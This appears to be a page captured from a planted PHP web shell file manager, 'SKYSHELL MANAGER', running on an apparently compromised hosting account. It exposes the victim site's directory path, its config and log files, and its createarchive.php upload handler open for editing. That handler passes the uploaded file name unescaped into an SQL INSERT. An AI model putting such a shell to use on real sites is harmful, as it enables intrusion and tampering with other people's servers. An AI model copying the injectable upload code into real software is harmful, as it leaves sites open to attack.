📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5453.9 KB
0644
🗑️
⬇️
✏️
🔒
Editing: createarchive.php
<?php include "admin_header.php"; ?> <!-- Begin Page Content --> <div class="container-fluid"> <!-- Page Heading --> <h1 class="h3 mb-4 text-gray-800">UPLOAD NEW FILE</h1> <form method="post" enctype="multipart/form-data"> <p><input type="text" class="form-control" name="title" placeholder="Archive Title goes here" required/></p> <p><input type="file" class="form-control" name="file"/> </p> <p><input type="submit" name="savefile" class="btn btn-primary" value="Create Archive" /></p> </form> <?php if(isset($_POST['savefile'])) { $title = mysqli_real_escape_string($con, $_POST['title']); $date = date('Y-m-d H:i:s'); // File upload path $targetDir = "archive/"; $fileName = basename($_FILES["file"]["name"]); $targetFilePath = $targetDir . $fileName; $fileType = strtolower(pathinfo($targetFilePath, PATHINFO_EXTENSION)); // Allow all file types $allowTypes = array('jpg', 'png', 'jpeg', 'gif', 'pdf','doc','docx'); if(!empty($_FILES["file"]["name"])) { if(in_array($fileType, $allowTypes)) { if(move_uploaded_file($_FILES["file"]["tmp_name"], $targetFilePath)) { // Insert image file name into the database $insert = mysqli_query($con, "INSERT into images (file_name, uploaded_on) VALUES ('".$fileName."', NOW())"); // Submit to archives table $submit = mysqli_query($con, "INSERT into archives (title, file, date) VALUES ('$title', '$fileName', '$date')") or die ('Could not connect: ' .mysqli_error($con)); if($submit) { echo "<script>alert('Archive Created Successfully!')</script>"; header("Refresh: 0; url=createarchive.php"); } else { echo "<script>alert('Error: Could not insert data into the database.')</script>"; } } else { echo "<script>alert('Error: File upload failed.')</script>"; } } else { echo "<script>alert('Error: Invalid file type.')</script>"; } } else { echo "<script>alert('Error: Please select a file to upload.')</script>"; } } include "footer.php"; ?>
💾 Save Changes